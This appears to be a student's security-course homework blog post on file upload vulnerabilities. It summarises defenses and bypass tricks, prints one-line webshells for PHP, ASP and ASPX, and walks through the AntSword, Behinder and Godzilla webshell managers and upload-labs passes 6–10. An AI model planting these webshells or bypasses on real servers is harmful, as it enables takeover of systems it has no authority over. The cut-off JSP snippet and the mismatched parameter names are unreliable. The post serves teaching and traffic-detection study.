重邮实训第七天作业

1. 文件上传防御手段及绕过手段总结

什么是文件上传漏洞


       文件上传漏洞是指网站或应用程序中存在的一种安全漏洞,攻击者可以利用该漏洞向服务器上传恶意文件。通过文件上传漏洞,攻击者可以上传包含恶意代码的文件,如Web shell、恶意脚本、恶意软件等,从而获取服务器的控制权或执行恶意操作。这可能导致服务器被入侵、敏感数据泄露、服务拒绝等安全问题。通常,攻击者利用文件上传漏洞来执行远程代码,控制服务器或网站,进而实施更广泛的攻击。

危害:

    挂接黑链;
    挖矿;
    文件数据泄露;

文件上传的防御

文件上传漏洞是一种常见的Web应用程序安全问题,攻击者可以利用这种漏洞上传恶意文件到服务器,从而执行恶意代码或篡改数据。以下是一些防御文件上传漏洞的方法:

1. 文件类型检查:在上传文件时,验证文件的类型和扩展名,只允许上传安全的文件类型,如图片、文档等。可以通过检查文件的MIME类型或文件扩展名来进行验证。

2. 文件大小限制:限制上传文件的大小,避免上传过大的文件导致服务器资源耗尽。可以设置最大文件大小的限制,超过限制的文件将被拒绝上传。

3. 文件名检查(扩展名):对上传的文件名进行检查,避免使用特殊字符或恶意代码。可以对文件名进行过滤或重命名,确保文件名安全。

4. 文件内容检查:对上传的文件内容进行检查,确保文件不包含恶意代码或脚本。可以使用文件扫描工具对上传的文件进行检测,以识别潜在的恶意代码。

5. 存储路径隔离(不要暴露上传的路径):将上传的文件存储在独立的目录中,避免上传文件直接存储在Web根目录下。这样可以防止恶意文件被直接执行或访问。

6. 文件权限设置:设置上传文件的权限,确保只有必要的用户可以访问上传的文件。避免设置过于宽松的文件权限,以防止恶意用户访问或执行上传的文件。

通过以上方法结合使用,可以有效防御文件上传漏洞,保护Web应用程序的安全。

绕过手段


1. 客户端验证绕过
在前端或客户端对上传文件进行验证时,攻击者可通过禁用 JavaScript 或使用burpsuite代理工具修改请求,从而上传恶意文件。

2. 服务端验证绕过
页面直接修改js上传文件方法(添加类型等);

抓包改包,将上传的文件后缀进行修改;(例如:a.jsp.jpg ——>抓包修改为 a.jsp)

通过修改请求中的 MIME 类型,让服务器认为文件是合法的。例如攻击者修改 HTTP 请求头中的 Content-Type 字段,伪造文件的 MIME 类型为普通图片类型(如 image/jpeg),以绕过上传限制。

3. 文件扩展名绕过
攻击者通过修改文件扩展名,使其绕过文件类型检查。例如,将 .php 文件重命名为 .php.jpg、.php;.jpg 等,以欺骗服务器的上传检查机制。

很多语言都存在多个可解析后缀。当目标站点采用黑名单时,往往包含不全,此时则有机会绕过。

语言    可解析后缀
asp.net    asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
php    php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp    jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml
4. 利用特殊字符
利用文件名中的特殊字符(如 null byte)来混淆服务器的文件解析行为。例如 shell.php%00.jpg,%00 是空字节,有些服务器会将其后的内容忽略,实际解析为 .php 文件。

5. 文件内容绕过
有些系统会通过读取文件内容来判断类型,攻击者可以将恶意脚本内容嵌入图片或其他合法文件格式中,借此绕过检查并执行恶意代码。


2. 文件上传常用一句话木马

2.1 php一句话木马
<?php @eval($_POST['hacker']);?>


@ 符号: 这是一个错误抑制符。它告诉 PHP 如果在执行 eval() 函数时发生了错误,不要输出错误信息到浏览器上。这样做是为了隐藏错误,避免暴露给管理员

eval() 函数: eval() 是一个 PHP 内置函数,用于将字符串作为 PHP 代码执行。也就是说,它会将传入的字符串当成代码来运行。在这个例子中,eval() 会执行 $_POST['hack'] 这个变量的内容

$_POST['hacker']: $_POST 是一个超全局数组,用来接收通过 HTTP中的POST 方法所传递的数据。$_POST['hack'] 表示接收来自客户端的一个名为 hack 的参数

2.2 asp一句话木马
<%eval request("hack")%>


2.3 aspx一句话木马
<%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>


2.4 jsp一句话木马
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))


3. 课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)

1. 蚁剑

编辑一句话木马

蚁剑设置BurpSuite代理

抓包成功,修改文件后缀名回php后放行

成功上传

右键添加数据,在URL地址处,填写木马文件的位置,其他按实际情况填写,填写完毕后测试连接成功并保存。

测试连接,抓包成功

流量特征分析:

PHP 类 WebShell流量最中明显的特征为 【@ini_set ("display_errors","0");】同时会带base64编码解码等字符特征, 每个请求体都存在【@ini_set(“display_errors”, “0”);@set_time_limit(0)】开头。并且存在base64等字符,响应包的结果返回格式为 【随机数 结果 随机数】。
 

2. 冰蝎

打开冰蝎,点击传输协议,选择default_xor_base64,生成服务端。

找到生成的文件,上传到pikachu,抓包修改后放行。

上传成功

在冰蝎设置代理并新建shell

双击建立的shell,BP抓包成功。

流量特征分析:发送包是base64,返回包是字节数组,所以会乱码。

3. 哥斯拉

打开哥斯拉,在管理菜单生成木马,存到自定义路径中

将木马上传,Burpsuite抓包修改后放行

成功

回到哥斯拉,右键“目标”——>“添加”进行设置。

测试连接,拦截。

流量特征分析:

  请求包特征:

     “pass=”起始

     请求包较长 响应包为0

     一个tcp包里面有三个http

   响应包特征:整个响应包的结构体征为:md5前十六位+base64+md5后十六位


4. 文件上传无回显如何查找webshell地址

1. 日志分析
日志分析:检查服务器的访问日志或上传日志,查看最近的上传操作记录。常见日志文件包括 Apache 的 access.log 和 error.log、Nginx 的 access.log等,通常可找到上传文件的路径。

目录猜测:通过猜测常见的上传目录(如 /uploads/、/images/、/files/ 等)并结合浏览器访问进行测试,寻找可能的 Webshell 文件位置。

2. 代码审计
代码审查:分析 Web 应用的源代码,找到负责文件上传的部分,确定上传文件存储的路径以及文件名生成机制。

检查上传配置:确认应用是否对文件存储路径进行动态设置,定位上传目录的位置。

3. 使用工具
使用如 dirmap等工具进行目录扫描,或者一些主动爆破工具进行爆破,尝试访问已上传的 Webshell 文件。

5. 文件上传表单的无参/有参情况下构造表单 -- 加分项

  1. 无参情况下构造表单‌:在这种模式下,表单不包含任何特定的参数,用户可以直接选择文件进行上传。这种方式的表单相对简单,不需要额外的参数来指定文件处理的方式,用户只需选择文件并点击上传按钮即可。这种方式适用于那些只需要简单文件上传的应用场景,如上传头像、文档等。

  2. 有参情况下构造表单‌:与无参表单不同,有参表单包含了特定的参数,这些参数用于指定文件上传后的处理方式或其他相关设置。有参表单通常需要用户填写一些额外的信息,如文件名、文件类型等,这些信息通过表单参数传递给服务器。服务器根据这些参数对上传的文件进行处理,如保存路径、文件名重命名等。有参表单提供了更多的灵活性和控制,适用于需要更复杂处理的文件上传场景。


6. upload-labs靶场通关第6-第10关

pass_06

查看源码,发现没有转换大小写

新建文件

上传文件,用BP拦截改包,后缀改为.PHP

上传图片成功

pass_07

查看源码,发现没有首位去空

于是用BP抓包,并在test.php后面加上英文空格然后发送

成功

pass_08

查看源码,发现没有删除文件末尾的点这一步。

同理BP拦截改包,后缀末尾加个“."后放包

成功

pass_09

看源码

于是用BP抓包,在test.php后面加上::$DATA,然后放包。

成功

pass_10

观察源码,发现该有的都有。但没有循环验证。

所以我们可以通过在test.php后加上“点+空格+点” 的方式来绕过验证。【思路】:首先代码发现有一个点,这时代码会把点去掉,又发现有一个空格,也会把它去掉,我们这时还有一个点,也就是.php. 由于他只是验证一次,所以不会在去掉我们的点,这时就可以上传成功,也可以解析成功。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值